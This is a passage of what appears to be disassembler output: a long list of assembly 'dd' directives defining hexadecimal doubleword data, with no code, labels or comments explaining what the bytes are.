730018F4h, 0BA63B2FEh, 170731h, 0AF8C4B93h, 1ED3B6F4h dd 1BC8E4Dh, 439E71ADh, 0DDF6EB0Dh, 66732860h, 0E44A48h dd 192334ECh, 0BF2BDAh, 3ABDD20Ch, 0C9508504h, 59399700h dd 0BB470F12h, 962F03CAh, 0A5FA60F3h, 0F9F59890h, 752D8D1Ch dd 0EE157240h, 2C1F3E38h, 96F0EB48h, 78249024h, 2A708CF6h dd 0F79B200h, 2B8FFD7Bh, 63B01C1Eh, 246017FCh, 67B440BCh dd 0CF869CFDh, 0F102367Eh, 61066F80h, 0B43C6044h, 39782D31h dd 66FED890h, 1E59133Ch, 1C8249A9h, 0DA0667D6h, 0C9E00074h dd 0DD62C41Bh, 0E0A859FFh, 0DA17985Fh, 0CCC1B4FBh, 8DFD3915h dd 0E6484E4h, 20742D4Dh dd 73117980h, 0CE255CEEh, 3FD0A0A3h, 3CC5068h, 578EDDA6h dd 0FEF0A1B9h, 0B714E3D7h, 38401FFh, 0AF943782h, 509F98D0h dd 2E55F496h, 8034C192h, 841011DBh, 0E900C258h, 51F431EBh dd 8AF855h, 0A6F2CED5h, 0D27D04F6h, 52265090h, 1B00519Bh dd 87A42BFEh, 7FA2006Eh, 0C1D903C4h, 0E300B6C0h, 0A9DEF9E9h dd 36E0ED3h, 0D6FCED6Dh, 0E790EA07h, 3C0C51A7h, 70E82AE1h dd 6B86184Ch, 0E38880C1h, 3FB83001h, 0B0492ADDh, 0E98C987h dd 0F3291016h, 8500D73Ch, 41A1150Bh, 5D63FEFh, 9B1B0984h dd 2ECC827Eh, 456BEE40h, 0CAC51402h, 54BEDC2Dh, 254F81DCh dd 309BD60Ah, 5C00C26Ch, 0B5292112h, 1313CD01h, 0C085B0FDh dd 0A144AE5Ch, 75A81200h, 22D0072Ah, 580B786Dh, 81008C1Eh dd 4CD7995h, 0DEA086AFh, 0B812FA29h, 0B8004061h, 0EC891AC0h dd 0D4960074h, 0C582587Bh, 0AE00A1F8h, 1493D885h, 19428Bh dd 0D1C98C3Eh, 29A8A746h, 444C4500h, 353D337Dh, 182C008Dh dd 5ACE2BDBh, 1104A297h, 5E8B2571h, 0E414B0h, 6B490E4Eh dd 30CEF25Fh, 7EDDE10Bh, 60F4851Ah, 0B08A3CE0h, 0EB901B5h dd 323A3B6Bh, 14E08068h, 0CF635DD9h, 0C71502F1h, 3645A8Bh dd 5100A458h, 3E3C616Fh, 0E2BDD789h, 9853700Eh, 0BAD60068h dd 3D560BBEh, 0D1288338h, 8091089Fh, 5508BF07h, 741A317Ch dd 0ECF650BDh, 0D16503CAh, 6AAB50C4h, 22151020h, 6D783B48h dd 0E8DE5C00h, 37241A09h, 5B981D25h, 328F40C0h, 4217DF43h dd 7D05881Ch, 1B1E39C0h, 64E1C7Ah, 99A875C9h, 7400C814h dd 0D6472B11h, 33260h, 7E1A79Ch, 0C83085F2h, 8209AD00h dd 2B706B62h, 40ED6B3Eh, 87CC18C1h, 0E0CBD998h, 0C00C2C5h dd 87CEC0F4h, 91C0922h, 680013Dh, 1D26FBCFh, 68C28D00h dd 0BF740637h, 112C006Bh, 7150A5BAh, 49E8D297h, 0A9C9EF00h dd 7BBBF054h, 0F3E300B4h, 0DA3107DFh, 680720B6h, 254D6551h dd 582E094Eh, 273200ACh, 0FE350F80h, 953B134Bh, 0C1EA00E4h dd 5F430B7Dh, 0C41E0FB7h, 5440BFD4h, 57958F66h, 99731200h dd 2A3EEADEh, 0FE2F1DA1h, 0FCD700C7h, 9CAE7C8Dh, 0B8BA6200h dd 990E1AD9h, 0E65F001Eh, 9FDB48EAh, 0E372677Dh, 0F159A100h dd 5E0CAEDh, 1F900E8h, 0A5817A1Dh, 0CD024E32h, 97F0348h dd 503D6202h, 7305001Ch, 3F61420Dh, 0AA1F2FD9h, 0BDF8CDEBh dd 1A75805Bh, 631693Dh, 2010AE9h, 80B44B44h, 0EF8F3957h dd 0AE7055CBh, 83DF232h, 8ECC87Ch, 138F0BB1h, 0AE801BAFh dd 7580943Bh, 6C34DE00h, 71C57440h, 723CE846h, 6D60C0F0h dd 0B3DEB19Fh, 70698977h, 0CAE07278h, 40403C20h, 0CBED8F3Fh dd 65320546h, 47403221h, 501DDB22h, 0FB14F96Bh, 11F2364h dd 0CBEA8F3Eh, 887818ADh, 8F003631h, 11F54B18h, 186B198h dd 0DAB0F7FBh, 824AC641h, 3670BAC0h, 0D04492h, 485396Ch dd 0F11C3A1Dh, 8CC0AECh, 7A422116h, 7DF20120h, 72701441h dd 0DD244366h, 3F7CDAD0h, 0B6031BF0h, 950C612Eh, 53C7E059h dd 832200A1h, 0EE249646h, 0B31D4A30h, 2B00D8C8h, 53B7A6CDh dd 9FA00F8h, 321DE18Ch, 81000E4Bh, 906167B6h, 39F06ECFh dd 7A80DF70h, 69B7FA4h, 4005D8Ah, 94CCAA9h, 163EE05h, 5A2DB3DFh dd 0D8FF7738h, 440FF0BAh, 201BD0D6h, 63D1109Ch, 0A93C0062h dd 6C38E702h, 53008C4Fh, 90A68076h, 0E4920B0h, 25122D46h dd 5852805Eh, 26E80805h, 0F9E20DEEh, 0CF5AA900h, 0E62A7E79h dd 5C44745Fh, 3905198Bh, 0C0FD2776h, 6EC57384h, 7A309574h dd 4187202Bh, 0BA5B0076h, 0CE4288E9h, 7900F6C7h, 0F90892DFh dd 0F1F55DB1h, 0F8DAAA70h, 85EC3888h, 77A96060h, 0B67482B7h dd 246B10C0h, 0FC083907h, 302E0E28h, 0BA8C29B2h, 0E000F621h dd 21CE1004h, 1C0C95h, 36BEE372h, 8B6F75C5h, 0D90029DDh dd 0F0B06BACh, 4890F4D6h, 0B40C36B3h, 44D91DDDh, 0B0F98A00h dd 93F8638Fh, 0C9AB3149h, 80B5F508h, 0B0E76820h, 182EDE51h dd 19EC1CFDh, 0FF008E61h, 4E85711h, 861E95h, 0C9E5D5F2h dd 242DB279h, 907C4D37h, 233A45B0h, 789FE9F3h, 0FDF1C097h dd 8F8E88FAh, 0EF09F666h, 0B5B70021h, 3809CEF1h, 0DB007ED5h dd 245280C2h, 317F54C4h, 0B96045D7h, 4F40171h, 0A576E03Bh dd 9857AA26h, 0B392A103h, 8072A896h, 30040078h, 0FE58D0FAh dd 0F0087C0h, 0B157CBECh, 863214h, 4AF45640h, 16E42E7Fh dd 6C205300h, 0E6B02F4Dh, 0EE29008Dh, 8544725Eh, 4A004BECh dd 477B9341h, 14D02516h, 0E558A253h, 0C3D2451Eh, 3E69E994h dd 47800BD7h, 4FB3E099h, 291E5600h, 0AF965E5h, 0BC7B0097h dd 0C721F4B7h, 0D7029EE9h, 8A02B5B1h, 0B39C409Bh, 898F0E5Ch dd 417885F4h, 0F01A454h, 9FCCC615h, 1883138Dh, 0C4683981h dd 0DD973007h, 0FDC18518h, 1FF0459Bh, 0BF5FE61h, 153C36F1h dd 59B87000h, 0EB009BFFh, 7C9F5BC3h, 3E6810h, 1206F484h dd 9BDFB3E3h, 44A3E400h, 11CE6FC0h, 43040038h, 5ED6B687h dd 0A7F81F48h, 427B1B00h, 0ED9BDA16h, 94FE0012h, 0A8E4CF28h dd 0DD0FE60Ah, 0AB0819h, 0D6F287C9h, 0B2260078h, 0A931ADDFh dd 210EE159h, 0A08E2FA3h, 1422DA06h, 0D518009Bh, 4375A22Bh dd 51C7760h, 2D468F38h, 7386651h, 0CB4F3EE4h, 0EC68C026h dd 4B07BFB6h, 0EDA08957h, 8BCD85A0h, 3CE00F3h, 417D033h dd 0E160FFBBh, 0B2A38110h, 0BF80C0A6h, 0F52A23BCh, 0C1617726h dd 9B903E00h, 0F41F8360h, 0ECDF000Ch, 8D63D8Eh, 58078D0Dh dd 8FDCD156h, 1F6A88B0h, 434066Ch, 60E47BB3h, 99017E75h dd 0F7118DFBh, 82F40849h, 4D7F05E5h, 813B5338h, 0E0662F1Fh dd 6D00B9A1h, 77C40D41h, 770FEA65h, 0AECA006Ch, 0A987E16Bh dd 4900C92Bh, 3C5D2342h, 0C3E2D7D8h, 0BB4E2018h, 26B4C90Ch dd 0C663174h, 0D2EFE741h, 0D80FAC28h, 20724DFBh, 0A5D5F007h dd 3FE518B3h, 4EC92059h, 75470D00h, 0C66172A4h, 86401D46h dd 97003D2Bh, 0C41AAC22h, 58E864A1h, 0D40E4598h, 0C0DA25E5h dd 0E920A223h, 0DCF10018h, 5BB9DDB7h, 97000D69h, 5A431C98h dd 0C10A661Bh, 82866740h, 5000F32Dh, 2103A702h, 1CB851F6h dd 7FE9A80h, 700E6CA6h, 264A4F12h, 51DFC503h, 0A1D6E4F4h dd 3EE495E9h, 0BB1E80DAh, 0AFDC6F00h, 1425B4F0h, 0D13200ABh dd 57A5F2CAh, 6A60EF44h, 7F8BC428h, 13B7004Bh, 3147557Ah dd 4007A38Dh, 0EAA8ECB2h, 687B4330h, 0AB8C0C1h, 0FB47215Ah dd 6600C672h, 53E68DAAh, 49644Bh, 7CC27B8Ah, 5DDCC77h dd 0DEA57800h, 0AF23537Dh, 9813540Fh, 76AB09Dh, 34D54031h dd 0E7190CA2h, 8DB9C600h, 398ED4Ah, 0A559061Eh, 0D9CC17D3h dd 11A2AE00h, 0FACB4E01h, 43D61C38h, 0F70C079Fh, 9A88109Eh dd 0EDF623DBh, 55035371h, 1B788BEEh, 856E7AAh, 584B0019h dd 9CEBAF7Ch, 80B59AC9h, 8C79A6E2h, 2A0105FFh, 2A0748D0h dd 1900AF04h, 3EF54E0Dh, 4B98AB31h, 0B34CC01Dh, 0FB8900F8h dd 548D6DADh, 642B015Dh, 0A01573FAh, 4D1CD01Eh, 459F500h dd 685CFB65h, 776C00D1h, 41B1A1F6h, 0F81F4C01h, 0F9005F49h dd 46072B75h, 4E040779h, 40B36581h, 0D2483EF8h, 96474F00h dd 0E64C5D64h, 44FB00B5h, 4527720Ah, 0D103EC58h, 28C9CDF4h dd 0BAA388D0h, 0CEFE001Bh, 7CAA1A6Ah, 120055F5h, 0C0F72ADAh dd 19C2E6D8h, 29DC6DD0h, 4A21D24Eh, 1401D8D7h, 29BF10DFh dd 0D222811Ah dd 0D9235721h, 46A43803h, 4251DF5Ah, 2C3D18C6h, 8ADA0C29h dd 292173C3h, 76AE043Ah, 0DBF004DFh, 796BFF46h, 75149E22h dd 8429C446h, 165444ADh, 48177244h, 0AEA84292h, 8869C82Fh dd 0EB8419D6h, 3C04DBBEh, 508C4AACh, 1814CA14h, 0A0510A21h dd 582E8889h, 0A1AE29CCh, 0C850002h, 1E2B9694h, 9000DB11h dd 22A4BFF9h, 0FB2F4A3h, 0A926F52Dh, 8FC5ED23h, 3082F381h dd 0B100BD63h, 4E57273h, 0B8C47Bh, 61A15134h, 2809CAFBh dd 0E74C4000h, 86DF2A26h, 0D7C41C50h, 0C91DBA4Eh, 0D4DFFBh dd 6BA40D2Ch, 78F0030Ch, 0A942F214h, 532401A1h, 0D2C8E116h dd 0E58C1886h, 620250E3h, 0AE69DE34h, 387C4124h, 6A1E8h dd 571D3ED6h, 0A7C06D19h, 94B7750Eh, 45F12036h, 209242h dd 1BDA3B95h, 0C5508D21h, 195A1300h, 7286D0F8h, 430F07AAh dd 106FBA7Ch, 3204D793h, 4FB6CA01h, 0F055DF42h, 0DD51C8h dd 41F90A15h, 402BB8D0h, 1B903900h, 984898Eh, 0C8CA48B7h dd 0CE801538h, 7EBB3ED7h, 6CB8BE02h, 0C0574F00h, 85750B11h dd 33FF0037h, 0EE71C204h, 6D009B68h, 0E8967C5Eh, 35830E7Dh dd 0EFF8D826h, 0C7547580h, 402D01C9h, 38A19BC5h, 0C323F82Ch dd 0E03F7F6h, 0B9252891h, 0EA10E059h, 0F1B046h, 99545A27h dd 8C801EACh, 2C166101h, 0B6F8F459h, 12E32CCh, 3895C107h dd 0F1D111EDh, 5EEFD08Ah, 94D42C05h, 80005F7Bh, 0E5A7F9ECh dd 0D9B00086h, 5A7AE4C5h, 0D600576Eh, 5B85833Dh, 7EF8CCh dd 0E7A15894h, 6ED508E9h, 25293Ch, 3C69C09Fh, 3E935BE2h dd 0A300C656h, 0FAC5DF46h, 0B0FAAAFBh, 9FEB1C00h, 6148D13Ch dd 0CB1D069Bh, 0A0A45369h, 0D434B513h, 6F5EB0h, 39378CECh dd 6B542227h, 49E011ECh, 50610100h, 3407BCCFh, 771800EFh dd 811E7FF3h, 5100426Fh, 19730AFEh, 7DE98831h, 58240CADh dd 0A220E47Eh, 8C3A951Ch, 5DF72003h, 0EE90A79Ch, 0EA8114Bh dd 0F27B480Eh, 0A0732580h, 4C906F44h, 2A023F10h, 33C10800h dd 9C3E8CBAh, 7C01260Ah, 8039FCF8h, 0BDD227FDh, 781ADE6h dd 74263ABCh, 0BB006EE3h, 3F21D762h, 806C2F05h, 0E8402305h dd 0AF51B056h, 4EEA0706h, 0D0F8B2A8h, 1844F1Ch, 0C9076CECh dd 0F273BE20h, 1A01A6A7h, 1080B924h, 558E6D7h, 5B00389Ch dd 0CAF627E3h, 38C85B0h, 0B6F0DD7Bh, 0A9E0FF4Ch, 9B009583h dd 9294B289h, 1E223D75h, 8F3A449Fh, 4B204CCDh, 98E10312h dd 44F95Ch, 59299690h, 3CDF1078h, 5F800DEEh, 0DA677247h dd 0D500E98Bh, 1E235D7Fh, 0A180A0h, 354A05D7h, 0DD54A772h dd 16D80B00h, 0DB6B7D6Ah, 0C17C0076h, 0AF3ACC8Ah, 70035FC6h dd 6966CAFFh, 80969241h, 9C1F67A4h, 0CC720098h, 0C27E438Fh dd 5500128Ah, 8E8778DFh, 0F3F504h, 0CA2B27CEh, 0C1A5B32Eh dd 0AB953400h, 6A7616ADh, 3B2979D8h, 1D8056D9h, 0A01FF86Dh dd 23004962h, 0EE67A995h, 98D3C471h, 0CA5A0544h, 0C040F61Fh dd 0D1F52CEAh, 0CF674A00h, 557EE8F8h, 100490DDh, 24BDF0h dd 0C592CE69h, 902A2295h, 459A0064h, 5EE3C991h, 0DC0110ADh dd 84D0724Ah, 0A5D06F61h, 0B48F00DEh, 0D33B2FDh, 0D50F7527h dd 37FEB74h, 0C8084AD8h, 72D7C554h, 88F70709h, 90992048h dd 0B4BA436h, 5A710C00h, 0CF78E6A3h, 0FB702FBh, 0CE384FC2h dd 7246868h, 0FCAD5507h, 29801F37h, 0E164AF0h, 5B6CF541h dd 6AA61EA0h, 0EF009A94h, 759190B4h, 2E1B85Fh, 871B21B2h dd 47F298h, 250CDCD1h, 0FD0C900h, 0F632E09Dh, 57F45Ch dd 1A9CFAF9h, 65E6F89Fh, 91441F00h, 18385608h, 49D20050h dd 1D34E1A9h, 4C3F5B5Ah, 0DFE800Eh, 98F9206Dh, 0C69D011Fh dd 0E540C404h, 0AE8EC469h, 0DB00BB7Bh, 3D956603h, 134BC10h dd 1CBFD8FCh, 0C0AFF4EEh, 3839631Fh, 0B6A60083h, 0C410DAEh dd 0DB9B00D4h, 0CFB294F8h, 4C3B18F6h, 6307FF7Bh, 3B082A9Dh dd 89A44EC0h, 358E0032h, 122BB2ACh, 482A7A4Dh, 8C00D8FBh dd 0CC11FDCEh, 1EF5AAE5h, 0CF5A434Eh, 904E0795h, 4D2451C0h dd 0C2008619h, 683F293h, 7443BA5h, 0D1639C0Eh, 0D99480F5h dd 5F03DA6Fh, 5BDD95AEh, 6AEAB888h, 0F76D0022h, 0B5EE9C27h dd 971C1555h, 6045C2E8h, 608020E5h, 0D39533h, 435B9F42h dd 0C9E045E6h, 557A2C00h, 7DA6841Ch, 1A170089h, 1FBA9DD7h dd 830285B6h, 46682FA7h, 0D5448140h, 0EA68908h, 99CA0119h dd 605F8321h, 0C7005E6Ch, 97E2D8ECh, 4C363E6Fh, 550FFC13h dd 0DA40E19Eh, 613575CFh, 69FF9900h, 23A54CBDh, 2833E16h dd 0C0F89480h, 84578E72h, 2E77BF00h, 9BEAD90Fh, 632500B8h dd 494B2FFDh, 738364CEh, 0DAA2012Ch, 71945278h, 90B1F88Dh dd 5E694601h, 4F81BE9Dh, 0D9BCFCh, 7A5A5FFFh, 719BA965h dd 0E2192E00h, 0F167C82Ah, 502C3BFDh, 6AA2FF80h, 2764E84Fh dd 0BE3FA500h, 0A44894BFh, 0F63D001Dh, 0A15B7C4Ch, 8E033CA7h dd 94572720h, 1E61E867h, 11491276h, 15E8003Fh, 0E4568EDAh dd 0B41FBB79h, 2140A69Fh, 3ED2BFD1h, 2F200B4Bh, 1183D6CDh dd 0E6882614h, 810330F7h, 0AA172F0h, 51FE003Ch, 78D529E8h dd 521A37B6h, 40183EBCh, 0CD8410h, 7A8AD494h, 0D0F3471Dh dd 8615Ch, 46C3979Ch, 0EAD9E79Bh, 0CBFB5C5Eh, 0BFC5002h dd 0D0800630h, 0A7F15145h, 1E86D448h, 0CF80526Ch, 159CD6B9h dd 0F2461253h, 0C8290095h, 0E7DFE3EAh, 0FB5A9400h, 0BA065C4Fh dd 330B002Bh, 1BDCB313h, 6B504D18h, 0FE1322D0h, 0D716CC48h dd 60037013h, 99D820F4h, 0EC707415h, 865303FBh, 0C6DE2601h dd 0CA3C8AD0h, 0CCE3DD00h, 0F2C8D2F6h, 1DD00728h, 87139217h dd 95A38096h, 2F65C15h, 0B70D3116h, 223A8000h, 241B6623h dd 2016BA5h, 26EE4876h, 3D4958E0h, 5ED095h, 0A7F2E65h dd 60F6F74Fh, 995D7C00h, 69744648h, 5CF573C4h, 9860712Dh dd 68064918h, 0DDE53C0Fh, 0C886C04Eh, 59B7505Fh, 0AF00003Fh dd 5E323796h, 7C1C1719h, 2A010733h, 0A3C3FE48h, 0F0A330h dd 0B1FC4552h, 0F18E8AE9h, 16405300h, 0C2EB9CB5h, 98710178h dd 0EDECDC5Fh, 9425E0E4h, 9EC1D300h, 0A3924523h, 0B9C42675h dd 18F218A8h, 4C1ECE12h, 564594E6h, 8001567h, 651EE5C3h dd 5D044C5Fh, 8035EA1Dh, 14CC1BD6h, 0C301A658h, 26863692h dd 0C4810140h, 6D97FDAh, 74BE03Dh, 0DFBB2A0Ah, 998084A4h dd 8864360h, 0EFEB6h, 4E49F4Ch, 0F38BB2F4h, 87A5803Bh dd 48EEBA7Ch, 949FECF0h, 0F4CB1EFAh, 0AB7F4081h, 0C37AD0DCh dd 58603660h, 99C920h, 0C16F41FAh, 3287A7CFh, 0B01C9300h dd 67261E68h, 0B40F58F7h, 2CD0790Ah, 70D105D1h, 0AF92C05Eh dd 623F7D88h, 0FF6780E2h, 0D9824742h, 21A72B1h, 81CEA776h dd 3DC01D0Ah, 0BE0E88ABh, 40C16226h, 0AA8E15F2h, 1FD90F8Ch dd 0B963EC6Dh, 0F0979B25h, 972FCCE9h, 0A21D7307h, 69D00B4Dh dd 0E5D4668Fh, 3864D220h, 1A806A4Eh, 0ACB35A9Ah, 0A72C018Dh dd 0A6002975h, 4F4E14E8h, 0C03D076Ch, 35CB93A3h, 0F7DEC026h dd 5B004324h, 0D10235E0h, 42FEB7Eh, 782A972Dh, 86D8804Ch dd 1D00F944h, 810B3685h, 39C0DB7h, 47D060DFh, 0C2905FB0h dd 0ED2777DAh, 921C808Bh, 4CAEDFD7h, 313F70FEh, 0B5557680h dd 79D606BEh, 0AA21E900h, 201E54DFh, 3DA8021Fh, 0DBC46B22h dd 2697E0F7h, 0FF14016Ch, 46783797h, 3D37208Ah, 0CA04B673h dd 4F4767C0h, 8BD81AC3h dd 7876F89Eh, 98420F29h, 2380272Bh, 28C96405h, 0AAFE4400h dd 1E8DD9A3h, 81BB004Ah, 0C633F57Fh, 0A2734C43h, 0E1FDA401h dd 0E2173E60h, 9C3420h, 140B0C5Ch, 0A2BFD5ECh, 0C00AD6CEh dd 2B337E1Ah, 0C03B048Bh, 80A5AC2Ch, 9695E6EEh, 89A6F100h dd 3B1882A2h, 873022Ah, 0D9836C87h, 5F27E6C0h, 232BE20Fh dd 0D8435E94h, 0D8641F6Dh, 367FC6h, 9A87B575h, 844D558Eh dd 1420050Ah, 9400AC54h, 0D563389Bh, 0A0B23B83h, 7781B8C8h dd 303313D4h, 59002C41h, 9F0617E4h, 0FC076EEAh, 536903E6h dd 6711C9E8h, 23E40580h, 54439024h, 8A108238h, 0E8206A01h dd 0E09CA2A4h, 0E4E01ECh, 0F9FFC46Fh, 254438D3h, 0ED6490ACh dd 95690041h, 67458DEh, 2C009DF3h, 300E1D7Fh, 4E42224Bh dd 72500080h, 5FB439ECh, 5CE1053Ah, 655C038Ch, 0C8DAF27Bh dd 0A8EB1Fh, 0CD20116Fh, 0A6AC4D0Ah, 780008B1h, 0A41D1E48h dd 0E5AA3062h, 0E439A208h, 0F1DC5D02h, 4845382Bh, 2849A40h dd 0D514DA75h, 0F040C1B1h, 1807195Ch, 62D80406h, 4044F870h dd 0C8AE002Ch, 2F8E416Bh, 7D7A60B0h, 0D288971Ch, 6000C492h dd 1D313C2Bh, 17EB2857h, 46A301E4h, 8A356566h, 0A4982029h dd 1C7FD112h, 0EDCDE440h, 36F8ED2h, 77E982DEh, 29262AB6h dd 0D627393Ah, 263209DFh, 2AC8FCC3h, 751824FAh, 6E18E9A0h dd 3E3705D9h, 65B00Eh, 82050CF1h, 0D0B427CFh, 12F06104h dd 0B980F0C7h, 79DBACh, 0BF802E81h, 9A0586A9h, 0D25C8A7Dh dd 744A2C09h, 3F026D07h, 0AE93D970h, 1B9C02FBh, 83A93B95h dd 80786077h, 139403B4h, 7A77D8B6h, 270CA0B0h, 78CE18F0h dd 9DCCC085h, 3E80D9Bh, 37740E3Ch, 63E036C9h, 0B00E23Eh dd 93573A50h, 759532h, 0C269E30h, 0C89CC061h, 0B56E304h dd 0AE8592CEh, 0F8B96080h, 7AB300CFh, 898F3DD4h, 562C0A21h dd 68C003Bh, 127DAA10h, 8716D9h, 613D4FD0h, 0BF00E324h dd 0A98C0775h, 0A09EAEh, 3B96D2B8h, 42929B14h, 2435648h dd 0D1E47C87h, 0C2988010h, 0E1F8F15h, 25DD7A1Eh, 200CBCE7h dd 0BB3E6EBDh, 741FB09Ch, 7971A9C0h, 4B046DAh, 24F0661Eh dd 0C28380E9h, 180090E0h, 0D3F38A31h, 2A2810Eh, 54C547CCh dd 6CE0441Bh, 3A006007h, 0D3F5014Fh, 0F43CB866h, 739C0525h dd 0C78313BDh, 91E68047h, 2C307E20h, 0CF60E099h, 177382h dd 0B43609F1h, 0A22F218Bh, 0D777FE01h, 0C7F65F9Eh, 0BF69F8h dd 3172D69Bh, 0C6D82687h, 3755A30Ah, 0F980A01Eh, 6F1B9D99h dd 0D89B00A4h, 0ED2C3D83h, 3BE9D2DCh, 0ADBF0h, 74E1CF05h dd 1A58EFEEh, 3512452Eh, 15240200h, 24E5646Bh, 42472C8h dd 83A56293h, 0D4A83831h, 700E0BFh, 0BC115634h, 26C56687h dd 94F5572h, 0A448828Bh, 2D00B657h, 0DEA583D1h, 0EF243Dh dd 11A7F338h, 0E253AA7Ah, 0A400E4F4h, 0ED5BA16Eh, 85C70Ch dd 0AC7DCB7Eh, 0D5B2D902h, 0E00FF918h, 0DC08B8h, 359182B4h dd 4AA1866Fh, 1F0D2048h, 81405CCEh, 89A35590h, 0E8280050h dd 4F8BC2C6h, 7603AD99h, 0C8884E6Ah, 5C6999EAh, 0FA52FCh dd 7E4339F7h, 6DC33C7Dh, 7A17100h, 0E544EEE0h, 0D3CC0119h dd 7AA76660h, 0CDFA200Eh, 59E82E00h, 0E3D699E1h, 0A25639BEh dd 0F2BD5738h, 0B4D8A680h, 0FD9CE7F7h, 7FA4F00h, 0BC12748h dd 8B8C00C3h, 0F8E2668Eh, 8002474h, 6BC21E5h, 0F63B7DD1h dd 855C2E3Ch, 37DC01A9h, 0D8410BC2h, 5F0F76DDh, 210DF286h dd 4F19FD6Bh, 0F7DEF8h, 0D636A44Ch, 0EFB1ABEDh, 0DCEE3200h dd 7A963578h, 1633003Bh, 46C8D0E1h, 0C100FD07h, 1C9F4D8Bh dd 3910FF0h, 2A14277Bh, 0DFB84F1Eh, 0E900AE0Eh, 6BEBFEDEh dd 420E5h, 375A12BEh, 2F889E16h, 18946100h, 96EACE79h dd 50E20087h, 0EF32B5A8h, 14945B7Ch, 334ECB04h, 97869C80h dd 780C02ADh, 26E04B99h, 6920A04Ch, 6F0A00D0h, 6E2D6442h dd 0E70FE601h, 0C0EA2C52h, 92F5EB5Ah, 7C1D48FDh, 8D6D12h dd 0DB434B38h, 0F6E8153Dh, 498FA850h, 0FD001C79h, 0FF5653ECh dd 175D557h, 1A4D24A4h, 0FCB2EFD3h, 0AC016E98h, 0A1D1C6F1h dd 887C8FF0h, 4B14B904h, 0C05C84D9h, 0B60ABA3Ch, 1B4E4909h dd 0F52C6080h, 0C3590166h, 184457CFh, 9FB0EF05h, 31002633h dd 0D13464BBh, 1256E10Fh, 2A9395Ch, 27F068F4h, 0E95FE040h dd 0C97A5800h, 0C7AC6AC6h, 62E7585Dh, 0CF181C39h, 84C169DAh dd 0DC07B05h, 0E980AC0Eh, 24CD3F56h, 3EC927Dh, 3E89E0A7h dd 0AD4E2788h, 0EBFF6900h, 81C295A1h, 79380045h, 295F0E0Fh dd 8037280h, 0D83ECE89h, 0D6DFF021h, 0CD2F2525h, 446098ABh dd 11CE33FAh, 0F7470018h, 2FD2F83h, 44B89BEBh, 42DD429Ah dd 63206103h, 8B88D0h, 1FBA2676h, 3FCC1575h, 0F1E40A00h dd 0A7F87F27h, 85490028h, 83475813h, 0CC026297h, 0BA5AF9Ch dd 2BC8017h, 0C5A430CEh, 0D43F78h, 15209FF4h, 0E6F6196Fh dd 7B187204h, 10B0DB67h, 0F4F11C87h, 456243D2h, 1BD8B891h dd 7C00FF75h, 16966AF2h, 515571h, 6B24D3E9h, 64F608C0h dd 0FC11EB0Ah, 7C00B817h, 0DA1EB5C3h, 606F002Fh, 8E734950h dd 0F10794A5h, 2327211Ah, 17B3E277h, 0A8AD0E6h, 491C0070h dd 0E797CE82h, 0CD48DB46h, 616E0395h, 887FD83Dh, 2627783Fh dd 587E05Ch, 8205C09Bh, 4360C514h, 8D1E2A20h, 28328E1h dd 0D4CC394Bh, 27EDC0B0h, 9400DE12h, 17F55E62h, 7E65563Dh dd 0AA388600h, 2D9DB588h, 9B713Fh, 514261DFh, 0ACA17FA2h dd 0A447509Eh, 0B0E14353h, 7257222Eh, 0D79D0082h, 0C6FF2D37h dd 311ECF9Eh, 0C387282Fh, 3F30C20Bh, 7E544974h, 467DC7h dd 0D19DCAE5h, 0AA796A42h, 0F597C917h, 9440D8C7h, 726CC8h dd 40D670D8h, 0AC3B462Dh, 3CC62400h, 11488D2Ch, 64D90338h dd 0A396E283h, 7DDC42FAh, 35173400h, 171B5767h, 2E5D8Ch dd 0B6DB0E43h, 0E100AC5Fh, 95EEFF8Ah, 12F45365h, 85F004h dd 41479255h, 0E0E940Bh, 40C49013h, 2F78917h, 4BB400E7h dd 8B75C66Dh, 3F006428h, 1C530E44h, 0A6832Ah, 13E911ABh dd 0CC3489A5h, 0C8E1EBE2h, 0D3DC36Eh, 2D3800BCh, 3AA36450h dd 43EA2C21h, 70CB006Bh, 0FC033374h, 0DA88F924h, 53DD2200h dd 0BAAA64h, 7BECB96Eh, 34F8D932h, 0F10EC479h, 87A91E8Bh dd 9A10EDE4h, 44E0DEh, 0BD35403Bh, 7F83A54h, 888A4300h dd 783457CAh, 5DFC22h, 541DE868h, 16D63FEEh, 0D94AA01Fh dd 3BA77980h, 7DD56566h, 25A00F2h, 0FFBC3A8Eh, 0A300269Ah dd 0B87309C3h, 38BD6C2Ah, 930CD4FAh, 4F7E16A9h, 238BA501h dd 78AD5995h, 147334FCh, 90C56139h, 4F1D3706h, 0C27320F6h dd 0B60762EAh, 68E3F9D6h, 1D4B25D0h, 0ED7C0049h, 0CBFB85B5h dd 6F005F8Fh, 0FA9471B3h, 63E1BAh, 0A23DBC50h, 0DE0A8D18h dd 0AF4EA300h, 339D09B5h, 98BF02B3h, 3584DB19h, 7A0DD760h dd 7B97B400h, 0CC303A4Bh, 36570976h, 7700AE1Ch, 96BB1F8Dh dd 0A6621800h, 554E5326h, 0E02BF590h, 8500FA20h, 9E2A3036h dd 0D09380h, 3F45436Eh, 5059765Bh, 28C2B230h, 6C96Ah, 0FF163DA5h dd 3FE6F891h, 9226D100h, 0BA5447BFh, 1DD5FC5Ah, 0C07170A6h dd 0D22393B4h, 1200825Bh, 42A32DB8h, 0E27CB26Dh, 50A50059h dd 1E876E21h, 23008496h, 0CD24EB38h, 0FB2B72h, 0BF74C871h dd 0F969542Dh, 7549FE18h, 58E610h, 45409335h, 6E8574C0h dd 5FDDED00h dd 0CA3727D9h, 8D56007Ah, 4CF8F7E9h, 11003FCDh, 0B38AB409h dd 0B2225Fh, 39D00EA4h, 0B97905F1h, 0FA78AB0Fh, 18258015h dd 0F643C58h, 0A88C670Ch, 0C043D204h, 952B9B9Eh, 7CE5558h dd 0D45148F6h, 626718C0h, 9E0400BEh, 8006689Dh, 5000BCE5h dd 1269AC33h, 3F662E2h, 3E04594Fh, 88027541h, 0E1322F44h dd 797440C6h, 387D3D4Ch, 0ABE68300h, 0C3A71EAFh, 0C7EE3400h dd 1CF1943h, 21081F3Fh, 8B16C071h, 5C70932Dh, 28FF9702h dd 40C0531Eh, 67D348h, 4DBA2521h, 0FE341892h, 631B3E12h dd 0ED07D003h, 46A4D873h, 477901C1h, 87AB8B70h, 7E40C9E7h dd 812EF0h, 456AC034h, 527C335Dh, 46324900h, 0EE922038h dd 770500E6h, 106DA8A9h, 9700BA04h, 93B20133h, 1DCA7BE0h dd 0C511AF64h, 1C1EE716h, 0F47DDC80h, 0C4800074h, 4A78B2AEh dd 0FB6D6E00h, 0AC511C11h, 59670008h, 0BF22992Eh, 3B03BB6h dd 824F981Eh, 0EC9F8A00h, 